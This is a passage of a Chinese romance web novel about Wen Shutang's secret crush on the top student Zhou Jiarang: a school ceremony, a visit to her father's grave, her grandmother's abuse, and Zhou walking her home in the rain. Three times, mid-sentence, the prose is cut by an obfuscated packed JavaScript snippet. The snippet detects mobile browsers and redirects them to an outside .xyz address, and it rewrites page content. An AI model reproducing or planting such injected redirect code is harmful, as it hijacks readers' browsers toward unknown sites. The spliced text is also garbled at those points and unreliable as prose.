“我和你说,那个女生特别奇怪,嘴上说着自己多么喜欢,可从来都不会主动争取,每天还要摆出一副爱而不得的伤感样,实际上周嘉让连她是谁都不知道。” 林晚听摇摇头,表示无法共情:“别的不说,怎么有人能受得了这种默默无闻的暗恋啊。” “要是我喜欢谁,才不会这样畏畏缩缩的呢,一定要明明白白地对他讲出来!” 捏着筷子的手一点点收紧,指腹压出些许苍白,温书棠眼睫收敛,声音很轻:“可是……如果这样的话,你不担心失败吗?” “失败就失败啊。”林晚听耸耸肩膀,“有什么大不了的。” 眉心微微皱起,温书棠又问:“那样不会很尴尬吗?被拒绝之后,连最基本的朋友都做不了,只能做陌生人。” 林晚听似乎不太理解:“真正喜欢的人,怎么甘心只做朋友啊。” “与其这样怀揣心事、小心翼翼地守在他身边,未来可能还要看着他和别人谈恋爱,还不如给自己个痛快呢。”她摇头晃脑地讲起大道理,“喜欢就大胆表白,不喜欢就挥手再见,没走到一起只能说明缘分不够。” “人生那么长,不可能只遇见一个喜欢的人呀。” 喉咙好似被什么东西堵住,温书棠连半个字音都发不出。 她羡慕林晚听这种心态,可她也是真的做不到这般坦然。 暗恋是场赌局,一旦下注,便再无任何退路。 那晚回到家,洗过澡后,温书棠正捧着教辅材料预习新课,搁在旁边的手机嗡嗡震动,是林晚听给她发来的消息。 点开链接,页面跳转出一条视频。 时长很短,只有几秒钟,看起来像是偷拍,画面颤抖又模糊。 但温书棠还是一眼认出那个人,一眼分辨出他优越凌厉的面孔。 少年一身黑色西装,脊背挺直,身形修长,鼻梁上架着副半框眼镜,给他平添几分沉稳与成熟。 他声音很好听,说法语的时候更甚,起伏停顿都恰到好处,语调如同沙砾打磨般低沉。 【奶茶七分甜:快来快来。】 【奶茶七分甜:这可是我在贴吧上找了好久才找到的。】 进度条再一次播完,温书棠悄悄将视频保存下来,然后才退回到聊天框。 【My:看过了。】 【My:好厉害。】 【奶茶七分甜:呜呜他说法语真的好苏啊!看的我都想去学法语了!】 【奶茶七分甜:不过听说法语特别难……我连英语都学得稀烂,还是算了吧。】 温书棠给她回了一个揉头的小表情。 【奶茶七分甜:诶我突然想起来,周嘉让是不是咱们那年的中考状元啊。】 【My:嗯嗯。】 【奶茶七分甜:你说他一个状元,放着最好的师大附中不去,怎么跑九中来了?】 【奶茶七分甜:我记得两所学校的分数线差挺多呢。】 【My:……我也不知道。】 【奶茶七分甜:会不会像小说里写的那样?痞帅学霸为爱舍分,不顾一切地追随心上人。】 【My:……?】 【奶茶七分甜:哈哈哈我瞎说的,周嘉让一看就不是这种人。】 【奶茶七分甜:不愧是状元,连想法都这么让人琢磨不透。】 讨论到这里戛然而止。 但温书棠的思绪却停在那句“为爱舍分”上,不由得就开始胡思乱想,连带睡眠都受到影响,凌晨三点还在和窗外的星星对望。 是啊。 为什么来九中了呢? 这个困扰她整晚的问题,在周一早上被再一次提起。 那天是九月一日,也是九中正式的开学日。 早自习刚结束,教室里蔫蔫闷闷的都是困意,陈曼芸用书筒敲着黑板,语调拔高几个度:“别磨蹭了,动作都快点,一会谁迟到了就直接去主席台上站着。” 谢欢意补完最后一道函数,卡点把试卷交给课代表,然后才起身披上校服,挽着温书棠往外走。 拐到楼梯转角处,迎面碰见从上面下来的许亦泽和周嘉让。 他走在右侧,校服穿得比之前规矩,神色却依然噙着散漫,眼尾下耷,琐碎的额发遮住泪痣。 视线交错的瞬间,温书棠努力克制住僵硬,朝他弯了弯唇角,周嘉让垂眸点了下头,算是打过招呼。 许亦泽闲不住话茬,关心完谢欢意后,又去和周嘉让八卦:“今早阎王爷叫你过去干嘛啊?你最近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13798391|145968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没惹什么事啊。” 周嘉让抬手捏了捏脖颈:“让我去给高一新生做演讲。” “演讲?”许亦泽难以置信地重复,“你答应了?” “没。” 许亦泽啧啧两下:“从入学到现在,但凡是和演讲有关的场合,你什么时候参加过。” “不过阎王爷找你也在情理之中,毕竟去年的中考状元嘛,舍弃了一百多分来我们九中,这可是史无前例啊。” 提起这个,许亦泽忍不住打趣:“当时阎王爷还以为自己捡了块宝,打算靠着状元招牌提高生源质量,没成想到手的是颗炸弹。” 周嘉让没接话,冷冷扫他一眼。 “其实兄弟我想问你很久了。”许亦泽勾住他肩膀,“填志愿的时候你怎么想的,怎么就来我们九中了。” 周嘉让拿开他的手,面无表情:“差不多得了啊。” 许亦泽哪肯停下,嬉皮笑脸地朝他挑眉:“附中多好啊,升学率在漓江一骑绝尘,每年还有一大批保送的,多少人想进都进不去呢。” “而且他们的校服好漂亮。”谢欢意抽抽鼻子,在一旁跟着附和,“白衬衫配百褶裙,哪像九中,只有又肥又大的polo衫。” “我记得附中为了留人,一连打了半个月电话,说只要你肯过去,他们会提供最好的师资。”许亦泽不紧不慢地帮他回忆,“结果全被你拒绝了。” “校领导估计都要自闭了,好歹也是全市第一的高中,哪想到有一天会输给我们九中啊。” “说说呗。”许亦泽手握成拳,摆了个递话筒的动作,“满足一下大家的好奇心,” 耳边萦绕起林晚听的话,心脏再一次被勒紧,指尖掐进掌心,温书棠不受控制地看向周嘉让。 但他只是满不在意地开口:“哪有那么多理由,想来就来了。” “非要说的话——”他偏头去看许亦泽,扯唇扬了下眉梢,故意压低声线,语气意味不明,“我这不是舍不得你,想过来陪你一起吗。” “……” 如同触电一般,许亦泽后退一大步,没忍住爆了句粗口:“周嘉让你少自恋,谁他妈用你陪了。” “人俩姑娘还在这呢,你他妈能不能正经点。” 周嘉让冷声哼笑。 开学典礼本就无聊,教导主任万年不变的讲话内容更是让人麻木。 谢欢意连打两个哈欠,往前蹭了一步,低声在温书棠耳边抱怨:“困死了,不知道还有多久才能结束。” 温书棠安抚地捏了捏她手心:“应该快了吧。” “六中也有这种乱七八糟的典礼吗?” 温书棠点头:“有的。” 谢欢意半眯起眼,抬手去挡太阳,嗓音闷闷的:“讨厌的形式主义。” 周围稀稀落落传来掌声,教导主任讲完心灵鸡汤,主持人接过话筒,宣布接下来是表彰环节。 慨慷激昂的配乐响起,上学期期末文理科的前十名被叫上去领奖拍照。 周嘉让作为理科第一名,自然排在最前面,这会儿他脱了校服外套,只剩里面那件白T,阳光斜斜落下,浅金色的光晕里,有种说不出的清爽干净。 站在他身旁的,是一个扎着丸子头的女生,看起来安安静静的,应该是班里那种努力又低调的类型。 摄影师举着相机,朝他们那个方向喊:“两位同学再靠近一点!” 伴随着老套滥俗的贺词,掌声又一次落下,谢欢意倾身,额头贴在温书棠肩膀上,不大高兴地嘟囔:“怎么没完了啊,人都要晒化了……” 后面她说了什么,温书棠并没有听清。 越过重重人群,她目光定在主席台上,看着那道落拓挺拔的身影,脑海里只剩下一个想法。 一定要再努力一点。 一定要努力进入前十名。 这样的话,她是不是就能光明正大地和他一起拍照了。 10. 号码 周三下午,两节自习结束后,温书棠收拾好书包,提前离开学校。 天阴沉得厉害,路上行人很少,地面上蓄着大大小小的落叶,她坐在公交车最后一排,侧头靠着车窗发呆。 四十分钟后,广播提醒到站,穿过一条荒凉的小路,她最终在墓园门口停下。 今天是温荣升的忌日。 温惠已经到了,手里提着糕点和鲜花,见温书棠脸色不好,抬手在她额头上贴了一下:“是不是晕车了?” 温书棠摇摇头:“没有。” “姐。”她眨了眨眼,“咱们进去吧。” 秋天的墓园更显清冷,空气中泛着泥土的尘腥,沿着青灰色石板路,两姐妹走到最里面。 照片上的男人笑容温和,模样谦卑,就像他的名字一样。 不想让温惠担心,刚刚过来的路上,温书棠始终紧绷着,但就在这一瞬,情绪却如同失闸洪水一般,铺天盖地地倾泻出来。 她真的好想爸爸啊。 自温书棠有记忆起,母亲总是冷冰冰的,就算她没有犯错,也会遭到打骂斥责。 所以她从没感受过母爱,更多的是惧怕,平日也是和爸爸姐姐更亲近一点。 温荣升年轻时在国企里做文员,收入稳定且可观,算是那个年代的铁饭碗,但好景不长,没过几年,公司宣告破产,他也被迫下岗待业。 温书棠四岁那年,为了维持家中开支,他选择到隔壁县城的煤矿里上班,整天起早贪黑地忙碌,一周才能回家一次。 但他并没有疏于对两个孩子的陪伴,每晚都会打电话过来,听她们分享各种琐事,嘱咐她们要好好吃饭。 他说他不需要她们出人头地,只希望她们能健康快乐地长大,一生顺遂,一生平安。 可命运往往喜欢捉弄人,所有美满都在两年后被按下暂停键。 那是一个潮湿的雨天,闷燥与噩耗一起传来,温荣升所在的煤矿发生坍塌,一百多名工人全部遇难。 举办葬礼那天,温书棠站在灵堂前,耳边是接连不断的啜泣声,她看着那张黑白遗照,很久都没能回过神来。 怎么会这么突然啊。 前夜她还和爸爸通了电话,约好周末去吃街角那家汤包,然后到箍桶巷做糖画,顺便去买姐姐最喜欢的桂花藕。 明明才过去了不到一天。 爸爸怎么就变成一个四四方方的小盒子了。 这肯定只是一场噩梦,梦醒之后,爸爸还会像从前一样回家陪她的。 …… 可是十年过去了,这场梦还是没有醒,反而愈演愈烈,成为深埋在心口的烙印。 温惠将鲜花放在碑前,眼角酿出几分酸意:“爸爸。” “我们来看你了。” “这段时间比较忙,来的次数也不多。”她轻轻抚着碑角,努力抑住鼻音,“您在那边过得还好吗?” “我和恬恬——” 她握紧温书棠的手,嘴角牵出一点笑:“我们都挺好的,您不用太牵挂。” …… 从墓园出来的时候,时间已经过了七点。 温惠要给顾客送衣服,没法和温书棠一起回去,叮嘱她路上注意安全,到家后给她发个消息。 “厨房里有熬好的红豆粥。”她摸摸温书棠头发,“饿的话先喝一点,垫垫肚子。” 温书棠很乖地点了点头:“好。” 天色黑得彻底,温度也降得更低。 还没从难过中抽离出来,脑袋里一片混沌,温书棠盯着脚下的路面,每一步都走得很慢。 转过弯,路灯不巧坏了,昏暗的视线里,她没注意到迎面走来的那两人。 直到肩膀上传来力度,她猝不及防地向后踉跄,脊背撞在冰冷的路标杆上,瞬间迸发的痛意将神经都麻痹。 “温惠呢?怎么没和你一起过来?” “自己亲爸的忌日都不知道过来看一眼!” “不是的奶奶。”温书棠忍着痛,出声反驳,“姐姐来看望过了,只不过店里有事要处理,所以才……” “两个白眼狼!” 不等她说完,老人神情嫌恶地打断,继续用难听的话辱骂着:“简直和你们那个不要脸的妈一模一样!” “当初就应该让你们在外面自生自灭!” 温书棠浑身发冷,唇角抿到泛白。 指尖用力掐进掌心,她深吸一口气:“奶奶。” “从小到大,你总骂我和姐姐没良心,嫌弃我们晦气,会给家里带来霉运。”她眼眶涩得要命,声线也抖得厉害,“还对所有人说是我们克死了爸爸。” “难道在你们眼里,爸爸去世了,我和姐姐就一点都不伤心吗?” “诶你这孩子。”站在老人身旁的女人开口,语气是如出一辙的刻薄,“怎么和长辈说话呢?我们好歹也养了你们两年,不知道感恩就算了,怎么还学会顶嘴了。” 温书棠呼吸更重了些,睫毛扑簌簌地颤:“儿子没了,您还有女儿;丈夫没了,还可以找新的;可是我和姐姐没有爸爸了,我们…该怎么办呢。” “那两年,我们确实在奶奶家借住过,但你们又是怎么对待我和姐姐的……” “……” 空气寂静片刻,她最终还是没有把话说完,转身从另一边离开了。 公交车来得很及时。 车窗没有关严,冷风肆虐地钻进来,似利刃般拂过她沾满泪痕的脸。 望着黑漆漆的小巷,她再次想起寄人篱下的那两年。 奶奶是个重男轻女的人,从不肯给她们好脸色不说,平日更是把姐妹俩当仆人般对待。 温惠在外面打工,每天回来很晚,温书棠不仅被使唤着做家务,还要照看姑姑家的表弟。 那时她刚上小学,个子和家里餐桌没差太多,很多事做起来都不太熟练,磕磕绊绊是常有的事,训斥责备也成了家常便饭。 “怎么连洗碗这么简单的事都做不好?!笨死你算了!” “地上的水怎么没擦干?故意想让我摔倒是吧?” “是不是你把弟弟欺负哭了?今晚别吃饭了,滚回去好好反省。” …… 那大概是她最小心翼翼的一段时间,每分每秒都活得心惊胆战。 就连吃饭时,筷子不小心在碗沿磕出声响,都会让她在耳边竖起警笛,生怕下一秒会被责问。 眼泪一颗颗砸进掌心,如同火山熔岩般灼热,烫得她手指不受控制地蜷缩。 其实这些事过去很久了,她本以为自己早就习惯了,可如今回忆起来,还是会这般的委屈难过。 轰—— 闪电划过天际,雷鸣撕破夜晚的宁静。 温书棠下了公交车,想起替换的笔芯要用完了,于是折身走向不远处的便利店。 门前风铃摇出声响,电子音报出一声欢迎光临。 拿完笔芯,她回到收银台结账,柜台里的女孩正在打游戏,腾出一只手给她扫码:“十二块五。” 手伸进口袋,却摸到一片空荡,温书棠恍然想起来,早上出门时走得急,她穿的是另一件外套。 无奈之下,她只好拿出手机,但坏运气偏偏接二连三地降临。 食指在右侧摁了几下,屏幕没有半点反应。 没电关机了… 排在她后面的是位上了年纪的阿姨,耐心似乎有点差,操着一口漓江方言呛她:“小姑娘你快点好伐。” 温书棠柔声说了句抱歉,刚想对收银员说不要了,身后忽然有脚步靠近,头顶出现一道清冽的男声,随即是铺天盖地的薄荷气息。 “我来吧。” …… 便利店的门开了又关。 没想到会在这遇见周嘉让,温书棠一时没有反应过来。 她坏情绪还没整理好,眼眶红红的,睫毛湿漉漉挂着泪,瞳仁里也蓄着一汪水,看起来楚楚可怜。 对上她的眼,周嘉让明显怔了下,手臂在半空停了又停,才把那盒笔芯递给她:“给你。” 不想他看见自己的狼狈,温书棠垂下头,声音低到听不清:“谢谢。” “你……” 看着女孩的发旋,周嘉让眉头拧紧,心情有股说不出的乱,就像纠缠在一起的线团,怎么也理不清头绪。 但他语气却是鲜少流露的温柔,如同潺潺溪水,流入这个纷乱的雨夜:“你怎么了?” “出什么事了?还是说有人欺负你了?” 不知道为什么,听见他的话,温书棠眼圈更酸,滔天的委屈在刹那间全部涌了上来。 她压住凌乱的呼吸,幅度很小地摇了摇头:“我没事。” “就是…沙子被吹到眼睛里面了,所以才……” 她向来不擅长撒谎,编出的借口也漏洞百出。 但周嘉让并没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13798392|145968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拆穿,轻声嗯了下,喉结滚了滚问她:“现在出来了吗?” 怕她不理解,他又补充一句:“沙子出来了吗?” 温书棠点头:“出来了。” “好。”周嘉让说,“那我送你回家。” “不用了。”温书棠不想多麻烦他,“我家就在附近,我自己回去就好。” 轰隆—— 又一道闷雷砸下,云层间爆发出骇人的白光。 “你这样我不……” 周嘉让下意识要说出那句话,察觉到不对后又猛然停住,嗓音忽而变得沙哑,像在克制些什么:“走吧。” 街边光线昏黄,地面上两道身影相贴。 凉气更重了一点,风汹涌地拍打着落叶,转角唱片店播放的歌换到下一曲,是林俊杰的那首《Always Online》。 今晚掉的眼泪太多,沾着泪痕的脸吹了冷风,温书棠这会儿隐约有些头疼。 她抬手摁了摁太阳穴,没注意到前面那人停了脚,毫无防备的,额头直直撞上一片坚硬。 向后退开小半步,她愣愣地仰起头。 这个角度逆光,他的模样变得有些模糊,温书棠心跳漏了半拍,喉咙发涩地问他:“怎么了?” 周嘉让垂眼,睫毛落下一层阴影,薄唇开合,吐出两个字:“抬手。” “嗯?” 温书棠听得云里雾里,但还是依照他的话,乖乖抬起手臂。 带着温度的外套披上肩膀,抵挡住周遭的露气与寒风,发觉出他的用意,温书棠缩回手想要推脱:“我不冷……” 周嘉让却扯住她袖子,不容拒绝:“别动。” “……” 男生身形高挑,她整个人被拢在他的臂弯中,鼻尖似有若无地蹭着他胸前的T恤布料。 他的体温和呼吸都近在咫尺,像是一张密不透风的网,将她牢牢地束缚其中,逃无可逃。 周嘉让的动作很轻,整理好下摆后,还不忘把她压在衣领下的头发拿出来。 指尖顺着耳廓擦过,留下星星点点的温热触感,温书棠不自觉将呼吸放缓,四肢百骸也跟着僵硬起来。 时间好像被施了魔法,每分每秒都变得漫长。 算不出到底过了多久—— “好了。” 周嘉让把人松开,他的外套实在太大,衣摆垂到膝盖,袖管也松松垮垮,温书棠缩在里面,就像一个偷穿大人衣服的小朋友。 他无声扯了扯唇,帮她把袖口挽上去一截。 后面那一路两人都很安静,温书棠心情平复了许多,时不时用余光悄悄看他。 她其实还有好多问题,比如他为什么会在这附近,毕竟澜椿路位置难找,偏僻到连地图上都搜索不到。 再比如……他是不是在关心自己。 但她并没有问出口,怕破坏此刻的气氛,更怕一切都是她自作多情。 熟悉的小楼进入视野,温书棠脱下外套还给他:“今晚真的谢谢你。” 见她心情好了一点,周嘉让也恢复了以往的散漫,单手抄着口袋,语气随意:“没事。” “那个……”牙齿细细地咬着唇肉,温书棠犹豫片刻,试探着询问,“我能不能加一下你的联系方式。” 怕他误会,她晃了晃手里的笔芯,有些慌乱地解释:“我回去把钱转给你。” 周嘉让想了下,没有拒绝,从口袋中拿出手机。 也是在这个时候,温书棠看清他手腕内侧的纹身,是一串黑色的字母。 Iris tectorum Maxim。 还没搞懂是什么意思,他听见周嘉让的声音:“号码。” 温书棠收回思绪,报出自己的电话。 …… 到家的时候,温惠还没有回来。 温书棠去洗了把脸,又用冰袋在眼角贴了贴,尽量让眼睛周围的红肿没那么明显。 大概过了十分钟,温惠拎着菜回来,怕温书棠会饿到,进门就去了厨房。 好在她并没发现什么异常,吃饭时一直在说店里的事,温书棠若无其事地应着,没有和她提起那些让人烦心的遭遇。 吃过饭温书棠回了房间,做完功课后已经快要到十二点。 也是这时,放在一旁的手机忽然震动,屏幕亮起,通知栏中跳出一条验证提醒—— 【Iris.请求添加你为好友。】 11. 感冒 虽然心中早有预期,但看见这条申请,温书棠还是觉得好不真实。 眼睛不受控制地睁大,心跳也很没出息地加速,屏幕由亮到暗变换了好多次,她仍然没有回过神来。 额头渗出一层薄汗,喉咙一阵阵发痒,就像被电流击中,酥麻的感觉顺着脊背向上蔓延。 温书棠走到窗边,将窗户推开一条缝,任由冷风扑在脸上,这才勉强将理智拉回。 解锁手机,她把验证消息又看了一次。 记得高一刚开学那阵,因为中考状元的身份,周嘉让在漓江引起过一阵不小的轰动。 某天午后,蝉鸣扰耳,温书棠正在写作业,后面几排忽然躁动起来,不知是谁弄来一串号码,说是他的联系方式。 当时好多女生围过去,争先抢后地想要加他。 温书棠却没有动,窝在座位里继续做题,似乎对这件事漠不关心。 但她心思早已飞远,笔下的公式被写成乱码,她一边听着大家的讨论,一边在纸上记下那串数字。 往后无数个夜晚,每当睡不着时,每当有心事时,她都会悄悄点开搜索栏,翻来覆去地对着他的主页发呆。 这种事她做过好多次,熟练到能倒背他的号码,可就是没有勇气添加他。 有时她也会做梦,梦见他们有了真切的交际,醒来后才发现,一切都只是一场虚幻。 而现在这一刻,好像是美梦成真。 手机再一次被摁亮,温书棠低垂下眼,思绪被他牢牢占据。 他的头像是一颗梧桐树,看起来并没什么特别,就是漓江随处可见的那种。 他的名字是Iris,是鸢尾花也是彩虹。 暗恋的人,最擅长解密,总是能在细枝末节中解读出深藏在背后的隐晦含义。 但这一次,温书棠却遇见了一顶一的难题。 琥珀色瞳孔定住,她怔怔地握着手机,恍然间再次想起,那串纹在他手腕内侧的单词。 Iris tectorum Maxim。 她在网上搜索了下,是拉丁语里的鸢尾花。 所以说…难道他喜欢鸢尾花吗? 那梧桐树呢?也是他喜欢的吗? 关好窗,回到书桌前,角落的小台灯亮着,她坐在半明半暗的交界。 温书棠深呼吸几次,终于将漫到心口的悸动压下去。 她先看了下自己的朋友圈,确认没发过什么犯傻的内容,然后才紧绷着指尖,郑重其事地按下同意键。 新的聊天框随之跳出来。 【2014年9月3日 23:55】 【我是Iris.】 【以上是打招呼的内容】 【你已添加了Iris.,现在可以开始聊天了。】 仿佛在湖泊中掷下一枚石子,盯着这行小字,她心中漾开一阵名为欣喜的涟漪。 但很快,她又不可避免地苦恼起来。 该说些什么呢。 要先打个招呼吗?还是直接把钱转过去? 这样会不会显得他们太生分了啊。 纠结了无数个开头,每一种都有被她否决的理由。 房间安静的过分,耳边只剩钟表的指针声,咔哒、咔哒,像是有人在扭动一个生了锈的齿轮。 最后温书棠还是老老实实转了账,对他又说了一次谢谢。 怕语气太生硬,她还在后面加了一个可爱的小表情。 不知道是没看见,还是有其他原因,周嘉让没有立刻回复。 忐忑难安地等了两分钟,温书棠从聊天页面切出来,点进他的朋友圈。 他的动态并不多,从头到尾只有三条。 发布日期都是11月9日,没有文案,是三张梧桐树的照片。 指腹向下拉动,温书棠又发现,他的背景图居然也是梧桐树。 是有什么特殊意义吗? 正这么想着,手机冷不丁震动,温书棠被吓了一跳,牙齿不小心咬在唇肉上,她皱眉发出嘶的一声。 周嘉让给她回了消息。 【Iris:还没睡?】 手指在空中悬停片刻,她紧张地吞咽了下,然后才在键盘上敲字。 【My:就要睡了。】 【My:你呢?】 顶部出现“对方正在输入”的字样,但却迟迟没有新消息弹出。 等待的时间实在太过煎熬,温书棠点开右上角,决定先给他换个备注。 按下完成的瞬间,消息也跳了出来。 【1205Y:也准备睡了。】 【1205Y:明天还要早读,别熬太晚。】 温书棠回他一句好,又提醒他不要忘记收钱。 【1205Y:不用了,抵平了。】 【1205Y:晚安。】 说完这句话他就消失了,留下温书棠满头雾水地看着屏幕。 抵平?什么抵平? 周嘉让并不亏欠她什么啊。 疑惑犹如气泡般越蓄越大,凌晨三点,温书棠抱着被子坐起身。 窗外蝉鸣还在,月亮隐匿进乌云,风吹卷着楼前的槐树,印在玻璃上的树影摇摇曳曳。 她拿起枕边的手机,幽暗的荧光填满整个房间,那段对话还静静躺在聊天框里,她反反复复地又看了几次。 看到第三次的时候,脑海中忽然蹦出一个念头。 会不会是周嘉让发错人了? 手指不自觉收紧,温书棠呼吸逐渐加重,心脏好像被人泡进水中,酸胀得有些难受。 所以说,那句晚安也是要发给别人的吗? 会是谁呢? …… 后面几天,漓江一直在下雨,气温也像乘了过山车般忽高忽低。 去学校的路上,温书棠不过去买了瓶牛奶,等从超市出来,眼前已是暴雨倾盆。 她没带伞,只好躲回屋檐,一边等待一边祈祷这场雨能快点过去。 等了十多分钟,雨不仅没有停下的趋势,头顶的云层反而越压越低。 距离学校只剩两百米,温书棠不想迟到,闭上眼,心一横,咬紧牙关冲了出去。 倒霉时连红绿灯都欺负人,被迫在路口停了三十秒,等她跑进教学楼时,身上的校服已经湿透。 她体质本就差,又被淋了一通,早自习还没结束,人就晕沉着犯起了迷糊。 鼻子堵得厉害,像是塞着两团棉花,额头也很烫,原本白皙的皮肤烧得微微泛红。 谢欢意找来热水和药,心疼地揉揉她脸颊:“棠棠,要不要我去帮你请个假?” 温书棠摇摇头,把药倒进手心:“不用啦,我没事的。” 两节课过去,药似乎起了作用,温书棠觉得没那么难受了,从书桌里抽出错题集,打算去办公室找老师。 走出班级没几步,衣领被人拎了下,她懵懵地回过身,不由得睁大双眼。 竟然是周嘉让。 还没反应过来,头顶传来他的声音:“脸色怎么这么差?” 周嘉让靠在墙边,漆黑眼瞳里倒映着女孩的身影。 她今天格外没精神,头发松松地绑在脑后,嘴唇不见半点血色,眼睫潮湿,像是蒙着一团雾气。 走廊里很吵,周嘉让倾下身,盯着她的脸,眉心慢慢拧紧:“生病了?” 不想把病气过给他,温书棠往后撤了几步,手掌半掩住嘴巴,嗓音闷闷的:“有点感冒。” “怎么弄的?”后面几个学生正在搬书,周嘉让把人往里护了护,“早上出门没带伞?” 温书棠不太好意思地嗯了下,字音还没发全,便偏头咳嗽起来。 周嘉让眉头皱得更紧,下意识抬手想给她试温,意识到不妥后又猛然停住,沉声问:“吃药了吗?” 温书棠吸了吸鼻子,点点头:“吃过了。” “吃的什么药?” “退烧药。” 不知道是不是错觉,温书棠觉得他语气低了一点,还带着几分温柔和关切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13798393|145968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “感冒药呢?怎么没吃?” “一会儿有物理课,吃了那个容易犯困。” 视线向下,周嘉让注意到她手里抱着的习题:“要去办公室?” 书角轻轻刮着掌心,温书棠柔声回答:“嗯。” “去吧。” 大概生病时反应会更迟钝,温书棠都忘了问他来干什么,乖顺地说了句好,转身下了楼梯。 - 第三节是英语,女老师搞了个突然袭击,随机叫人抽背上节课学过的句式。 前面几人都背得磕磕绊绊,女老师脸色渐渐变得难看,正寻找着下一个目标,目光扫到最后几排,火气直接窜了出来。 “周嘉让!” 连续叫了四次,被点名的人终于有了点反应。 周嘉让撂下笔,慢吞吞地站起身,耷着眼情绪很淡:“老师。” “您叫我。” “呦,终于听见了啊,神游到哪了啊?外太空还是异世界啊,和大家说说呗。” 老师把书摔在讲台上,语调拔高几个度:“上课十分钟,你发了十一分钟的呆。” “仗着成绩好就为所欲为是吧,不想听我讲课是吧,行啊,那这节课你不用听了,去走廊站着吧。” 周嘉让没反驳,面无表情地点了下头,拉开椅子往班级外面走。 “这都高二了,明年就要高考了,一个个还这么松散。”女老师唠叨起那些老生常谈的话,“这几个知识点我都讲多少次了,怎么就是记不住呢。” “好歹也是英才班。”她没好气地瞪了眼外面的人,“整天不是睡觉就是走神,说出去我都替你们丢人!” …… 女老师被气得不轻,洋洋洒洒训了二十多分钟话,后面半节课也被改成了小测。 变态的阅读做得人头晕,好不容易熬到下课,许亦泽交了卷,出去找周嘉让。 主楼梯人太多,两人绕到另一侧,周嘉让半敞着外套,抬手捏了捏略为僵硬的肩颈。 瞧着他的动作,许亦泽笑得幸灾乐祸:“你这真够倒霉的,老顾那么好的脾气,这还是她头一次在班里发火吧,偏让你碰上了。” “不过那阵你到底想什么呢,我在后面踢你凳子都没反应。” “从大课间回来就看你心不在焉的。”许亦泽拆了颗薄荷糖,手臂压在他肩膀上,“怎么了啊?又出什么事了?” 周嘉让没说话,眼神都懒得横他,冷着脸拍掉他的胳膊。 戏瘾上身,许亦泽故作伤感:“有秘密了,连心事都不和兄弟说了。” “诶,真是男大不中留。” 走到下一层,迎面遇上几个七班的男生,他们在球场上碰过面,私下关系还算不错。 为首那个叫程哲,是他们班体委,打过招呼后,朝许亦泽扬了扬下巴:“下午有什么安排没?约场球啊。” “不是吧你,这学期都第三次了啊。”许亦泽吊儿郎当地插着口袋,啧啧两声,“不就是上次校赛输给我们了,还耿耿于怀呢。” “滚蛋啊。”程哲笑骂了句,“哪来这么多废话,比还是不比。” 许亦泽语气欠欠:“你们太菜了,不——” 他话还没说完,周嘉让突然打断,干脆利落的一个字:“比。” “那就这么定了啊。”生怕人反悔似的,程哲连忙接话,凑到他旁边打了个响指,“晚饭时间,五点半,篮球场见。” 听见周嘉让要上场,一行人都来了兴致,左边那个小麦色皮肤的男生添油加醋:“光打球多没劲啊,要不要赌点什么。” “行啊。”话聊到这,许亦泽干脆也参与进来,“刚好下周轮到我们班室外值日,要是你们输了,就替我们扫一周操场。” 程哲“嚯”了声:“就这?” “那要是你们输了呢?” “要是我们输了——” 周嘉让掀眼,眸光向斜后方的教室看了下,过了半分钟,才低哑着声音说:“我请整个七班喝奶茶。” 12. 球赛 回班级的路上,许亦泽一直用疑惑的目光看着周嘉让。 “有话就说。”周嘉让斜乜他一眼,语气不冷不热,“别再把自己憋死了。” 许亦泽又看了几眼,挺真诚地问道:“你真的是周嘉让本人吗?” 周嘉让淡淡撩眼:“不是。” “我是你爹。” 许亦泽:“……” 拧开可乐瓶盖,气泡哗啦啦地冒出来,许亦泽仰头灌了几口,兀自得出结论:“不对劲。” “你不是最讨厌掺和这种活动了吗。”他皱眉满脸纳闷,“之前联谊赛缺人,老关磨了三天你都没松口。” 他把人来来回回打量一遍:“今天中什么邪了。” “没中邪。”周嘉让冷哼一声,还是那股漫不经心的腔调,“就想打了,强身健体不行啊。” “……” “行行行。”许亦泽琢磨不透他,“您开心就好。” - 不知道怎么回事,过了两个课间,温书棠的感冒更严重了。 脑袋昏昏沉沉的,像是被灌了浆糊,眼皮酸胀着睁不开,喉咙里也痛涩得厉害。 额头浮着一层虚汗,发丝胡乱地黏在侧脸,手指连握笔的力气都没有,她合上书,恹恹地趴在课桌上。 “三十八度五。”谢欢意读出体温计上的数字,秀气的眉拧在一起,“不是吃过药了吗,怎么越烧越厉害啊…” 看着满面病态的温书棠,她觉得不能再拖下去了,干脆替她做了决定,跑到陈曼芸那开了假条,拉着人去医务室。 医务室在震旦楼,里面地方不大,墙上贴着各种防控知识,输液区被白色的帘布隔开。 药瓶碰出叮当声响,冰冷的消毒水闻起来有些呛。 